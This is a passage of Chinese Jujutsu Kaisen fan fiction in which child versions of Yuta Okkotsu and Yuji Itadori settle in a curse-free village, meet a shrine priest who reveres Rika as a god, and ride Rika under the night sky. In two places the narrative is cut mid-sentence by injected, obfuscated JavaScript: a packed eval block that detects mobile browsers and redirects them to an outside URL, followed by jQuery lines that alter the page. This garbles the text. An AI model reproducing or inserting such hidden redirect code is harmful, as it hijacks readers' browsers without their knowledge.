就在乙骨忧太仰着头看向树冠的时候,正巧有一颗果子从树顶掉了下来,砸在他们身旁。虎杖悠仁能够感觉到有飞溅的汁水砸在了他的小腿上。
树下的这个神龛比村口的那个要大很多,里面供奉的石像同样也大了不止一号,不过依旧没有刻出脸部的表情,戴着红布制成的披肩。石像旁的地面上还放了很多果子,看起来就是从这棵树上掉下来的。
霉斑和氧化后发皱的表皮让这样的贡品显得有些不够诚心,但奇怪的是这附近明明有那么多腐烂的果实,却很少能见到苍蝇或虫蚁来享用这些自然的馈赠。
“我找到了!”稚嫩的声音从他们身后传来,一个缺了一颗门牙的的男孩欢天喜地地捧起了刚刚掉在他们脚边的那个果子,叫同伴的名字时嘴里还漏着风:“我们快走!”
孩子们风一样跑过他们身边,奔着树根下的神龛而去,只有落在末尾的小女孩停下来问道:“你们要来一起玩吗?”
虎杖悠仁摇了摇头,女孩转身追着她的同伴们跑远了。
他们绕着巨木走了很久,转过半圈之后,在原先的视野盲区中发现了一间神社。
“忧太,”虎杖悠仁将手中的购物袋换到了另一只胳膊上挂着,原先的地方出现了一道红色的印记,“这里一个都没有呢。”
“啊,真的!”并不简单轻松的乡下生活让乙骨忧太这时才注意到这座村子的奇怪之处。这里一个怪物都没有。
那些东西应该叫作咒灵,妈妈是这样和虎杖悠仁解释的。
在城市中随处可见、无处不在的咒灵,到了这个村子里居然消失得无影无踪。仿佛乙骨忧太和虎杖悠仁过去真的生活在梦中一样,如果以后都在这个村子里生活,等他们长大之后还会相信小时候的自己看到过那些东西吗?
尽管只是第一天,乙骨忧太已经觉得来到乡下是一个不错的选择。见不到那些咒灵让他的精神压力小了不少,整个人不再像以前那样畏畏缩缩、紧张地警惕着四周。
“因为这里是神社,一般的污秽之物在妄图靠近这里的时候就会因为畏惧神明的力量而退避三舍。”
“?”
乙骨忧太下意识地将虎杖悠仁扯到身后,警惕地看着突然出现在他们背后的人。
那是一个着装古朴的男人,看起来与现代的社会有些脱节,可他说的究竟是......?
虎杖悠仁第一个注意到的是这个人的眼睛。他很喜欢在和人对话的时候直视对方的眼睛,因为他觉得这样能够知道对方究竟想不想继续听他说下去。现在他觉得眼睛的确是很能表达人类情感的窗口,哪怕是像这个人一样板着脸,眼睛依旧暴露了他的内心。
这个人能够看到因为有陌生人过于靠近而缓缓浮现出来的里香!
尽管只是转瞬即逝地瞥了一眼就立刻移开了目光,但虎杖悠仁还是看到了这个细节。
“别紧张,”然而这个人只是默不作声地向后退到了一个相对安全的距离:“我是这里的宫司。你们是谁家的孩子?”
巨大的白色身躯像是小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378146|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山一样从影子里将超过一半的身躯拉了上来,两条手臂环绕在两个孩子身边,露出了守护者的姿态。
这样的情况让宫司再也无法抑制自己的惊讶。
“你也能,看见吗?”
“这是......?!”男人看着浑身紧绷的里香,浑然不觉他的视线已经脱离了自己的控制,让它变得逐渐活跃起来。
“大叔,请你不要盯着她看了,”虎杖悠仁的手轻轻搭在里香的胳膊上,“盯着女孩子看是很不礼貌的。”
男人艰难地将目光扯回,难以控制自己微微颤抖的身体,继续问道:“你们是哪家的孩子?”
乙骨忧太同样安抚着里香,他现在已经不再害怕和它接触了:“乙骨。”
是红房子啊......宫司拍了拍衣袖,做出邀请的动作:“中午要来神社吃饭吗?如果你们想的话,之后都可以随时到神社来。”
这突如其来的发展让乙骨忧太和虎杖悠仁面面相觑,疑惑且有点不敢相信。
“为什么啊,大叔?”
宫司只是摇了摇头,继续维持着邀请的姿态:“不介意的话,我们到神社里说吧。”
虎杖悠仁刚想跟着他的脚步前进,忽然腕上传来被桎梏的感觉。乙骨忧太还站在原地拉着他的手:“里香不喜欢狭窄的地方。”
“啊,当然,”宫司很快便放弃了自己原先想让孩子们跟着他到神社再进行谈话的想法,“那我们就在这里说吧。我想让你们继承这座神社。”
两个孩子的视线随着男人的声音落在了这座看上去年代并不久远的神社建筑上,它只有一个形似鸟居的建筑当做入口,再往后就是一段短到不能再短的石板路,两侧挂着双排灯笼,两只狛犬一左一右,停立在本殿两侧。
奇怪的是,连这两只狛犬的脸上都没有具体雕刻出眼睛、鼻子或嘴巴。这一点一直让乙骨忧太感觉非常奇怪,从他们来到村子之后,满打满算看到过三次,那些被供奉的石像都没有脸。
“......可是我们昨天才搬过来,而且不会一直住在这里。”
其实乙骨忧太也不能确定来年开春他们真正的去处。
如果里香无法和家人好好相处,他可能会选择独自远离他曾经的家。
而且为什么是他们?难道是因为他们能够看见咒灵?可是继承神社......为什么需要能够看见怪物的孩子?
那不应该是供奉神明大人的圣洁之所吗?
虎杖悠仁更在乎吃饭的问题:“那我们继承了神社,大叔你要住哪里啊?需要交钱吗?在这里吃饭需要自己做吗?”
他不明白“继承”的意思,但是他和爷爷搬到仙台时,爷爷曾说他们是从房子的上一个主人手中继承了这里,那大概就是大叔搬出来,他们住进去的意思吧。
男人没有回答这个问题,他巧妙地将话题引到了另外的方向:“你们长得不太像兄弟呢......只有你们回来了吗?父母呢?”
“他们不在这里。”
宫司看着立刻回答出来的虎杖悠仁。
虎杖悠仁和乙骨忧太已经学会了撒谎。
小孩子的谎言是最难分辨的,他们嘴巴里可以只有真话,也可以假话连篇,在还无法构建出闭合逻辑的大脑中,那些事实、臆想、回忆、错觉乃至半真半假的梦境都变成一条条杂乱的线索,被年幼的孩子随意拼接、输出。
拿成人的逻辑去试图理解孩子的脑回路是一件极看运气的事。
只不过,更可怕的是虎杖悠仁已经可以意识到哪些问题是需要他去撒谎的,并且他已经可以做到从所有的事情中挑选可以被说出来的那个“实话”来帮助他达成自己的目的。
这样的行为在成年人的对话中常被视作不够真诚,久而久之就会变成圆滑与油盐不进,甚至狡诈。这是因为对话的双方都把对方当作了拥有和自己相同、相似逻辑的成年人,但是在面对孩子时,大人往往会将他们视作低于自己的存在,试图用自己的逻辑去理解他们。
这种时候,谎言与真实的界限就可以变得模糊。
“这样啊,”不知道男人用自己的逻辑从虎杖悠仁的回答中明白了什么,他变相地说出了虎杖悠仁最想知道的事,“你们以后都可以来神社,这里有专门提供给神职人员的饭食。”
一些消息在村子里的传播速度异常恐怖。
在虎杖悠仁和乙骨忧太不知道的时候,“昨天傍晚有辆车送来了两个孩子”、“他们住在红房子旁边”等等都已经在红房子附近两条街传得沸沸扬扬,连他这个神社的宫司都有所耳闻。
如今听说他们姓乙骨,这才明白过来他们就是传言中的那两个孩子。
“关于咒灵,你能给我们讲讲其他的事吗?”乙骨忧太问道。
“咒灵?你指什么?”男人的反问让乙骨忧太不由得看向了虎杖悠仁,粉发的孩子也一副不知所措的模样:“如果你说的是你身后的存在,我认为祂分明就是神明大人的化身。”
男人向前走了两步,无视了重新躁动起来的里香充满攻击性的低吼,虔诚地低下了头:“如此强大、美丽,与我幼时见过的存在别无二致。”
请原谅我曾将您的分身误认为是普通的污秽之物,山中的神明大人啊,既如此,这两个孩子肯定就是继承这间神社的最佳人选。
毕竟是被神明大人亲自选中的孩子们。
8. 第 8 章
虎杖悠仁和乙骨忧太留在神社里吃完饭才往回走。
姑且称这个红房子旁边的地方为“家”吧。
他们到家时已经一点多了,怎么想现在都不是换洗床单被罩的好时候,所以他们准备等到明天早上起来就去清洗它们,希望能留够一整天的时间让它们干透,不然的话明天晚上他们只能睡在什么都没有的床垫上了。
“今天的目标是把家里收拾干净!”乙骨忧太从浴室中接出一桶水,将从杂货店新买的抹布浸润打湿,虎杖悠仁已经干劲满满地用扫把清理起表面的土灰。
他们找到的清扫工具并没有特殊适合孩子用的大小,所以现在虎杖悠仁正有些别扭地举着比他个头还高的长柄扫把扫着地。看起来就像是小人国的居民来到了普通人类世界一样......不,也许更像白雪公主故事里的小矮人?
“忧太,你在笑什么?!”
虎杖悠仁有些生气地鼓着脸,谴责一脸傻笑的乙骨忧太为什么只看着他一个人干活。
“咳咳,抱歉。”乙骨忧太收敛了嘴角,努力将戴着小矮人尖帽的虎杖悠仁从自己心中抹除掉,开始用抹布一点一点地细致清理。
刚才乙骨忧太笑得好像电视剧里最不聪明的角色一样,眼神莫名看得虎杖悠仁有点不太自在地挠了挠耳朵。
不知道为什么,直觉在大声告诉他乙骨忧太就是在想什么不太好的事情。
屋子里的面积不大,虎杖悠仁用不那么趁手的工具快速又细致地扫完了浮土和大部分灰尘。
其实搬来仙台之后,爷爷的病情加重,有的时候虎杖悠仁就会承担起一部分家务。当然,虎杖倭助只允许他做最简单的事情,还特意为他做了一把很适合他身高的小扫把。他们家里大部分地板都是榻榻米,只有客厅和玄关是瓷砖,所以清扫起来很容易。
现在的这个家扫起来也很快,因为面积并不大。
虎杖悠仁将垃圾倒进垃圾桶里,取来另一块抹布和乙骨忧太一起仔细清理木地板。
这间房子里没有电视,但是他们今天去买东西的便利店里挂着一台小电视,会有孩子在去买冰棒的时候蹲在门口看电视。窗户开着,盛夏的蝉鸣被穿越山谷的清风送进了家里,偶尔还能听见咕咕的鸟叫声。
摇头的时候会发出吱呀吱呀声音的电风扇被摆放在了角落,乙骨忧太试图清理低处墙面上泛黄的污渍,但只蹭掉了一块墙皮,为了不继续破坏脆弱的墙面只得放弃了。
勉强清理了灰尘的电风扇吹出来的风根本无法缓解夏天带来的闷热感。外面吹来的风也带着一股燥热,不再清爽。虎杖悠仁扯了扯自己的短袖,感觉后背的衣服已经被汗水浸透了。
“好热啊!”他吐着舌头直接倒在了自己刚擦过的地板上,试图从木头上汲取凉意。他和爷爷曾经也住在乡下,但那个镇子里的生活和城市里感觉没什么不同,空调、洗衣机、电视、微波炉,家里摆满了电器,偶尔也会有小轿车从门口的路上经过。
那里还有学校,能看见放学时推着单车走在路边的学生们。虎杖悠仁觉得他们的校服很好看,比他去的幼稚园的衣服要好看多了。
乙骨忧太也热得有点脸颊发烫,他们还有一个最重要的问题没有解决。
“悠仁,你过来一下。”他突然有了一个绝妙的想法,于是向瘫在地上变成一坨粉色团子的小孩招了招手。
虎杖悠仁骨碌碌地滚了过去。
“好好站起来啦......”乙骨忧太用手比划了一下虎杖悠仁的身高,又比了比水桶的高度。
这个桶有点小诶,乙骨忧太心想,他回忆了一下,似乎杂货店有卖更大的木桶来着?
“忧太,你在干什么?”虎杖悠仁躺在他脚边,连声音都仿佛被融化了一样黏黏糊糊的。
乙骨忧太说起想要去杂货店买一个能把他们两个装进去的大木桶,虎杖悠仁觉得这个想法简直就是天才!
“那不是小游泳池嘛!我们能去河边玩吗?”
“不行!老师没跟悠仁说过小孩子不可以自己去河边玩吗?”
“我们一直和里香一起去河边玩诶。”
“我说的是不可以下去玩水,”乙骨忧太拒绝了虎杖悠仁,不去看他祈求的目光,“里香也说过水里很危险吧?会有滑溜溜的石头让你滑倒,悠仁又不会游泳。”
“忧太你也不会!”
“所以才不可以去啊!”
有一条小溪流经他们家下到村子的那条路,小溪并不宽,两侧长满了高高的杂草,虎杖悠仁觉得他只需要轻轻一跃就能跳过去。
那么浅的水,就算滑倒了也没什么关系吧?就是会打湿衣服,每次他因为爬树或者踩水的时候玩得太过分、浑身搞得脏兮兮的回家后,爷爷总是嘴巴上说着一些严厉的话,手却把脏衣服从他身上扯下来,再将他丢进浴室清洗干净。
爷爷的手上有茧子,很厚很厚,被硬皮刮到的话会有毛躁的痛感。
乙骨忧太没发现虎杖悠仁不太对劲,他只是有点担心......不,他现在想要拒绝虎杖悠仁去做任何危险的事情。因为他没办法保证自己永远能够保护好他......他已经失去了里香,不想再失去悠仁了。
被体温焐热的戒指硌着他的皮肤,变得沉重了起来。
“......悠仁?”
粉发的孩子太过安静了,乙骨忧太从自己浓重的担忧中拔出头来时,才发现他把自己缩成了一团。从现在的角度看不清他的脸,乙骨忧太俯身坐了下来,轻轻地拍着他的肩膀:“悠仁?”
明明是两种截然不同的声线,但他们呼唤他名字的时候却都温柔得过分。虎杖悠仁像只小老虎一样从地上弹起来,把自己塞进了乙骨忧太的怀里,那股毫不留情的劲头让乙骨忧太觉得自己的肚子好像被人打了一拳。
感觉挨了一下悠仁的头槌......肚子好难受......
罪魁祸首没有丝毫自觉,兀自将脸埋在黑发孩子的肚子里。
“我想爷爷,”等了半晌,乙骨忧太听见虎杖悠仁闷闷的声音传了出来,“我也好想里香。为什么人会死呢?”
永远都见不到了——虎杖悠仁还没办法理解“永远”的长度,但他已经体会到了思念的意味。
好像心里在下雨,整个人都变得潮湿苦闷。本能想让他远离会令自己觉得不舒服的事,可越是如此,他们的面庞、笑颜却会越来越快地在虎杖悠仁的脑袋里闪过去。
只是听到他说的话,乙骨忧太居然也不由自主地觉得鼻尖发酸,很快连带着眼眶一起变得湿润起来。虎杖悠仁就像摁下了一个开关一样,打开了泪水的闸门。
乙骨忧太发现粉发的孩子同样在哭。
他的鼻头已经在不知不觉间染上了一层薄薄的红色,连带着那双眼睛都变得与平时不同。变得柔软、脆弱。
夏日的蝉还在孜孜不倦地叫着,燥热的风吹动纱帘,让屋子里的光影发生着微妙的明暗交替。不知道是汗水还是虎杖悠仁的眼泪,乙骨忧太觉得肚子热得厉害。他能做的只有环住虎杖悠仁的后背,学着里香的模样一下一下地揉着他后脑勺上有些刺挠的头发。
“没关系的,”他拨开那些黑色的发根,看着一排排粉色的发丝在自己指缝间溜走,低下头在虎杖悠仁的耳边轻声细语地说,“我不会再离开悠仁的。”
“我们重新做个约定吧。”
怀里的孩子没有反应,但乙骨忧太能够感觉到搂在自己腰上的手臂略微收紧了一些。这样切实的环抱让他觉得非常安心。
就这样,他们不会再分开。将保护家人的信念贯彻到底,无论付出怎样的代价,无论发生什么样的事,都不可能再将悠仁从他身边带走。
屋子里暗了下来,两个小小的身体靠在一起,巨大的阴影填满了剩余的空间。
里香的怀抱铸成了最后的堡垒,将女孩生前最在乎的人护在了身下。
“不要哭......不要哭,忧太,悠仁,”它嘟嘟囔囔地说,身躯向下,轻轻将白色的表皮贴到了孩子们的身后,“不要哭呀。”
祈本里香喜欢你们的笑容。
——
虎杖悠仁的眼睛还有一些肿肿的,眼角被他揉得沙疼,乙骨忧太的眼睛比他好不到哪里去。
他们经过凉亭时又看到了上次给他们果子的老人,这次虎杖悠仁拉着乙骨忧太迅速从那边跑开了。这些老奶奶难道一整天都待在那里吗?
上午带回的果子被他们简单地埋到了土里,虎杖悠仁浇了太多的水,那片地方被乙骨忧太用院子里的枯枝围了起来。
他们现在要去神社吃晚饭,顺便继续去买东西。他们需要一个大一点的木桶、一个可以挂在墙上的表、一些电池、一本日历、一些笔和纸,还有洗漱用的洗发液和肥皂之类的东西。
宫司正在清扫神社院子里的落叶,看到两个孩子站在朱红色的鸟居之后探头探脑,于是向他们招了招手。
通向拜殿的参道干净得仿佛能发光一样,乙骨忧太和虎杖悠仁没有从上面走,而是从旁边绕路跑了过去。
男人似乎是真心实意想要让他们继承这间神社。他们在社务所里等待着,这里的窗户打开之后就可以变成一个咨询台,但上锁的窗户说明来到这里参拜的人并不需要咨询服务。
这间神社甚至要比城市中的普通神社构造更加全面,在除了基本的拜殿、本殿之外,还有很多附属的设施,比如说在神苑里特意开辟了一块地方用来举行仪式,表演神乐舞。
拜殿对外开放,可供公众来此参拜。本殿位于神社的最深处,供奉着神体,通常禁止出入。乙骨忧太看不太出来这里究竟供奉着哪位神明,也许是当地信奉的土地神?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378147|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“里香还好吗?”社务所里就只有他们两人,但虎杖悠仁还是凑到了乙骨忧太的耳边悄声问道。
“感觉没什么问题,她很安静。”他们最担心的事情就是神社这样的神圣之所会让里香感到不适,可能会伤害它或者激怒它,不过幸运的是在乙骨忧太犹豫着跨过鸟居之后发现里香并没有发生暴动。
虎杖悠仁坐了回去。这里的神明大人一定很温柔吧?毕竟祂允许了里香在祂的领地内自由穿行,那个宫司还说里香是神明大人的化身......虎杖悠仁不怎么相信这一点,他们才刚刚来到这座村子,怎么可能和这边的神明大人扯上关系嘛。
里香就是里香。
宫司总是坐得离他们很远,虽然说过想让他们继承神社,但却没有具体说明过想让他们怎么做。是每天来这里工作换取免费的饭食?还是需要跟着神职人员学习如何侍奉神明?
虎杖悠仁还记得爷爷的教导。如果有人帮助了他,他也必须要尽自己的可能去帮助别人。神社为他们提供了“免费的”食物,所以虎杖悠仁会帮着这里的神职人员做一些力所能及的事。
见他这样执着,宫司同意了他们可以在中午吃完饭之后帮着他们一起清理神苑。
“在日落之后一定要及时回家,晚上别出门。”男人叮嘱道,目送他们在橙黄的夕阳中离开了神社,用小板车拉着一个大个的木桶和装在桶里零七八碎的东西慢慢往回走。
村子里的晚上与城市里是不同的氛围。没有了城市里随处可见的路灯,村子里夜晚是否能够看得清楚完全取决于当晚能否有月光落下来。
今晚运气很好,银色的月光洒了下来,纯净的天空让那些星星散落在夜幕之上,亮晶晶地闪烁着,倒映在两个孩子的眼睛里。
他们爬到了阁楼上。
屋子靠近角落里的天花板上有一处系着绳索、可以拉开的小门,只要拉动绳子打开盖板,就会有一个通往阁楼的木梯子掉下来。
这是虎杖悠仁无意中发现的,他以为这个绳子被卡在了天花板上,想将它拽下来,结果掉下来了一个木梯子。
不过以他们的力量和身高,想要将梯子收回去却成了怎么也做不到的事情。
因为梯子近乎直上直下,虎杖悠仁自告奋勇主动首先爬了上去。和爷爷在乡下的时候他可是镇子里最擅长爬树的孩子!
他刚将头探入黑暗的阁楼,突然听到有咯吱咯吱的异响从离他耳朵很近的地方经过,将眼睛还没能适应黑暗的虎杖悠仁吓了一跳。
“悠仁?!”在下面帮他扶着梯子的乙骨忧太心脏漏跳了一拍,他只看到粉发孩子小小地惊叫了一声,随后手忙脚乱地开始坠落。
被不知道是什么东西发出来的声音吓到的虎杖悠仁脚下一空。木梯子的横杆是圆的,如果随意乱动的话很容易从上面滑落。他的后脑勺在通往阁楼的洞口边缘磕了一下,伸手想要抓住什么,却没能成功。
他听到了乙骨忧太的惊呼,然后感觉自己落入了一个宽大而坚硬的手掌中。
像一株从掌心中长出的幼苗,虎杖悠仁扶着里香的手指向下探出头来,对着被狠狠吓了一跳的乙骨忧太露出一个大大的笑容。
“里香好厉害啊!你能送我上去吗?”
他拍了拍里香,如愿以偿地再一次接近了通向阁楼的洞口。这一次他记得保护好自己的脑袋,腾出手用手电的光照亮了低矮的阁楼。
阁楼里空荡荡的,只摆了两把断了腿的凳子。虎杖悠仁扫视一圈,并没有发现究竟是什么生物发出的动静吓到了他。
他觉得自己被什么东西顶了起来,下面传来乙骨忧太焦急地呼唤:“里香?!不行啦!你的个头太大了,上不去的!”
不过这下子倒是将虎杖悠仁整个人推到了阁楼上,随手一抹都是厚厚的灰尘。
他看到了一处可以通向小阳台的门,于是尝试着站了起来。对他来说,阁楼的高度刚刚好,中心区域可以让他直起身子行走。
开在墙上的小门锁头有些生锈,虎杖悠仁用了些力气才将它挪动了一点点。原本手上就沾了不少灰,现在又染上了铁锈的味道。
当他用牙咬着手电筒,双手一起用力才将插销从孔洞里拔出来之后,乙骨忧太终于将不情不愿的里香哄回了影子里,独自从木梯爬了上来。
“是老鼠吗?”阁楼满是陈旧腐朽的味道,虎杖悠仁行动时扬起的浮尘还未落下,乙骨忧太用手扇着眼前浑浊不清的空气。阁楼要怎么收拾啊......感觉什么都放不下诶。
“忧太!”
他正想着,忽然一股风从敞开的窗户吹了过来。
虎杖悠仁站在小门边,月光让他的发尖像星星一样闪闪发光。他指着外面的夜空,兴奋地说道:“快看啊!”
乙骨忧太顺着他的手指望过去,满天星河就这样流入了他的眼瞳中。
9. 第 9 章
他从未见过这样干净的夜空。一丝云朵的痕迹都没有留下,他们不禁想象起那些在倒悬夜空的河流中浮沉的星星,简直就像是嵌入海边柔软沙粒中的那些亮晶晶的小矿石一样美丽。
阁楼外连着一个狭窄的平台,倒是有栏杆,不过估计那些铁栅栏也早就锈得差不多了。
虎杖悠仁提议让里香送他们去房顶上看星星,但乙骨忧太拒绝了他的想法。小阁楼里的面积太小,里香出来的话估计会直接把房子弄坏。迄今为止里香一直都没有把下半身露出来过,它总是从影子里钻出一颗头或者小半个身子。
他们在小平台上挨着对方坐了下来,在虎杖悠仁的坚持下,乙骨忧太尝试着唤来了里香。
它出来的时候很开心,但果不其然,它根本无法和他们一起挤在这个狭窄的地方。
出乎他们意料的是,里香的下半身像是蛇的尾巴一样逐渐变得尖细,它从平台上下去了,来到地面上后就围绕着他们所在的平台附近打转,发出谁也听不懂的呓语。
“好漂亮。”虎杖悠仁突然说道。
乙骨忧太觉得他在说星星和里香。在城市里根本没有机会这么清楚地看到天上的星星,在那里,它们总是黯淡无光的。他的视线从星星落到了院子里的里香身上。
他曾经恐惧着里香的存在。因为它扭曲了乙骨忧太对生死的概念,他不明白祈本里香究竟还活着,又或者已经伴随着遗体的下葬而一起死去。一直跟着自己的这个东西究竟是里香没能成佛的灵魂,还是说它只是从那具尸体上诞生的怪物。只是因祈本里香而诞生,它模仿着那个女孩的模样来保护着他们。
虎杖悠仁把它当做祈本里香来对待。而里香在虎杖悠仁回到乙骨忧太身边后就极少不安定,偶尔也能听懂一两个指令——比如送虎杖悠仁上阁楼这件事。
因为粉发孩子的笑,乙骨忧太逐渐开始尝试着像他一样对待里香。如果没有虎杖悠仁,他不知道自己要等到何时才能试着和里香正常相处。
乙骨忧太原本还在看地面上的里香刨着院子里的土,直觉让他捕捉到了虎杖悠仁投来的视线。
“怎么了吗?悠仁?”
虎杖悠仁啪地将头扭了回去,鼓着脸说:“没什么!”
乙骨忧太伸出一根手指戳了戳他的脸,指尖传来热乎乎、肉嘟嘟的感觉:“真的吗?”
那孩子终于稍微转回来一些,将脸靠在自己的膝盖上:“......眼睛......”
声音本就小小的,又被他蹭在了自己的腿间,乙骨忧太并没有听清楚虎杖悠仁说了什么。
在他的反复询问中,虎杖悠仁一直摇头,怎么都不肯继续说了。
“嗯,好吧,”黑发孩子有点无奈地笑了一下,“晚上的虫子们好吵啊。”
昨晚他们太累了,睡着之前虽然也听到了仿佛就在自己脑袋边大声叫的虫鸣,但并没有现在听到的这样吵闹。
“是因为晚上叫的话不会有人出去赶它们吧?我们明天可以去捉虫子!”虎杖悠仁的思绪又跳到了捉虫子上面,他以前很喜欢在牧场边缘的草地里捉蚂蚱,一上午他能将整个瓶子都装满。
“要怎么捉?用网吗?”乙骨忧太记得幼稚园里有老师组织过这样的活动,不过那次他因为......某些原因,没有和其他小朋友一起去。
“我用手就可以哦!有的时候会被它们跑掉,不过大部分时候都会成功的。我也会做网子,我给忧太做一个网子就好!”
“太好啦!”乙骨忧太不由自主地期待了起来,甚至忘记他们明天早上应该趁早去清洗床单这件事。
一根手指点住了他的嘴角:“忧太,你应该多笑一笑啊!你现在的嘴角在这个地方,我从来没见过你这样笑诶!”
乙骨忧太觉得他从未感觉如此轻松愉快。更小时候的感觉和记忆已经什么都记不住了,自从发现自己能够看见咒灵后,他似乎一直在禁锢着自己的视线,避免和那些恐怖的家伙们对上目光。
然而在这个地方,他可以随意将视线扔给天上的星星,或者任由它们在远处摇荡的树海中游弋。这里没有什么可以惧怕的东西。
他重新笑了起来。
“那我们明早去——”
虎杖悠仁话音未落,楼下突然传来了里香的尖叫与沉重的闷响。
“里香?!”
方才轻松愉悦的气氛顿时一扫而空,他们两人连忙从小平台上爬了起来,小心翼翼地探头向下看去。
里香正在愤怒地用巨大的手掌破坏院子中的那口井,石头垒成的一圈井口很快便被彻底摧毁了,他们能听到碎裂的砖块噗通噗通掉到水中的声音。
这突如其来的意外让他们有些不知所措,虎杖悠仁还是第一次见到里香不受控制的模样。乙骨忧太想要赶快下楼去安抚它,虽然别人看不到里香,但它大肆破坏的声音却能够传入住在隔壁的爷爷耳中。
如果把老人惊醒,乙骨忧太也不知道那个看起来刻薄冷漠的老人还会不会允许他们继续住下去。
他刚刚钻进阁楼,口中呼唤着虎杖悠仁的名字想让他和自己一起下去,却听到了异常的动静。
虎杖悠仁跟着他向阁楼内部走了几步,然后停在了那里。
他的眼神非常认真,嘴巴却不由自主地笑着。
听到助跑脚步声的乙骨忧太猛地回头,结果看见了虎杖悠仁向前奔跑,直接踩上脆弱的铁栏杆一跃而起,口中喊了一声:“里香!”
虎杖悠仁迎着月光腾跃的身影如闪电惊雷般劈中了乙骨忧太。他还不能明确地说出自己究竟从那道小小的身影中感觉到的究竟是什么,可是他觉得那就像是暴雨后透过浓密的树冠刺破晨雾的第一缕阳光,让金色的太阳点燃潮湿的腐土,新生的叶芽从枯朽的老树根旁破土而出,迎着耀阳追逐风的踪迹。
那里流淌着虫鸟的声声鸣叫,婉转或尖锐,层出不穷。连带着森林的每一寸空间都重新开始呼吸、生长。
那是一种原始的、蓬勃的、不屈不挠的生命力。
虎杖悠仁的眼中没有丝毫恐惧。他跳下来的地方至少有三米多高,对于一个勉强刚突破一米关口的孩子来说是非常危险的高度。尽管和这样的里香重逢只过了两天而已,但虎杖悠仁已经在心中将它们认定成了同一个人。
跳下去也没关系,里香会接住他的。
再说了,他的身体超级结实,从树上掉下去都不会有事。
刚才还在肆无忌惮地破坏着井口的白色咒灵果然飞了过来,张开手掌稳稳地接住了从天而降的虎杖悠仁。
像一朵被风无意间吹走的樱花一样落在了它的掌心。
“嘿嘿,”不老实的孩子顺着里香的手臂跑到了它的肩膀上,向乙骨忧太招手,“来试试看吗?忧太!”
里香的注意力已经完全放在了虎杖悠仁和乙骨忧太身上,似乎忘记了那口井带来的躁动不安。
他们闹出了太大的动静,如果把爷爷吵醒的话会很麻烦。乙骨忧太的脑袋里想着现实的问题,眼睛却一眨不眨地盯着地面上靠过来的里香,还有抱着白色咒灵的脑袋、站在它肩膀上冲他扬起笑容的虎杖悠仁。他甚至莫名觉得,没有眼睛的里香也在充满期待地看着他。
简直就像是在做梦一样。
乙骨忧太跳了下去。
扑面而来的风,坠落时的失重感,从未体验过的感觉带来的是同样全然陌生的畅快。
他们躲在里香的肩膀上,小心翼翼地捂着嘴巴偷笑,只露出两双弯弯的眼睛。
“我们搞出太大的动静啦。”
里香明显也变得开心了起来,乙骨忧太想让它把他们放到地面上去,可白色的咒灵却兴奋地飞离地面,来到了房顶上。
虎杖悠仁把自己的惊呼堵在了嘴巴里,看着越来越远的地面,他们只能牢牢抓住里香的身体。房顶可供站立的面积很小,所以他们依旧待在里香的肩膀上。
“哈哈!里香真的会飞诶!好厉害!”
“呜哇!”这样的高度对乙骨忧太来说有点过于没有安全感,但里香似乎察觉到了他的畏缩,用更多的肢体将他牢牢固定住了。
“果然,”虎杖悠仁雀跃地笑着说道,“好漂亮啊!”
乙骨忧太拨开被夜风吹到脸上的头发,和他露出了一样的、更腼腆的笑容。
来不及享受独属于他们的星空,为了避免刚才的声响惊动了什么人,他们选择赶快离开。他们费了些功夫才从房顶下下去,直到收拾完躺在床上时都没有人因为刚才的响动而找上门来。
应该是大家都睡着了吧,乙骨忧太心想,没有因此打扰到他人真是太好了。
虎杖悠仁扑到床上后很快就睡着了,反倒是乙骨忧太翻来覆去很久都没有睡意。自从那场事故发生后,他一直都很害怕里香会伤害身边的人,这种担忧随着父亲和妹妹的受伤而变本加厉,演化成了对里香本身的恐惧。
他觉得是因为虎杖悠仁在身边,驱散了孤身一人的孤单和惶恐。当他放松下来的时候,里香也不再那么紧绷着,仿佛周围的一切都是不安和危险的源头,警戒着试图靠近他的每一个人。
在迷迷糊糊睡过去之前,乙骨忧太觉得只要他们保持现状,以后的生活大概也不会差到哪里去。
这样就很好了,他安慰自己。
第二天他们吃了便利店买来的红豆面包,虎杖悠仁蹲在他们昨天买回来但没能试一试的大木桶旁边,试图一个人将它搬到院子里。
“不行啊,我们只有浴室里才能接水。”乙骨忧太苦恼地说。外面的水管太脏了,如果在室内接完水,他们又没办法将满桶水搬到外面去。
“那我们就在屋子里洗吧!”虎杖悠仁已经独自抱着木桶站了起来:“对了!我们可以让里香帮忙搬出去呀!”
然而里香无法通过小小的房门,乙骨忧太和虎杖悠仁试了很多次都没能让它把水搬出去,还差点把门框撞裂开。
乙骨忧太突发奇想,他先哄着里香回到影子里,自己站到了门外,重新叫出里香,让它把放在门口玄关处的木桶拿到外面来。
“里香,一定要轻轻的哦。这个桶对里香来说很容易弄坏,所以一定要小心一些。”
他慢慢引导着白色的身影完成他们的愿望。装满水的木桶的重量对里香来说不算什么,但因为拿起来的速度太快而让里面的水淋淋漓漓洒了一路,虎杖悠仁用抹布清理了房间内残留的水
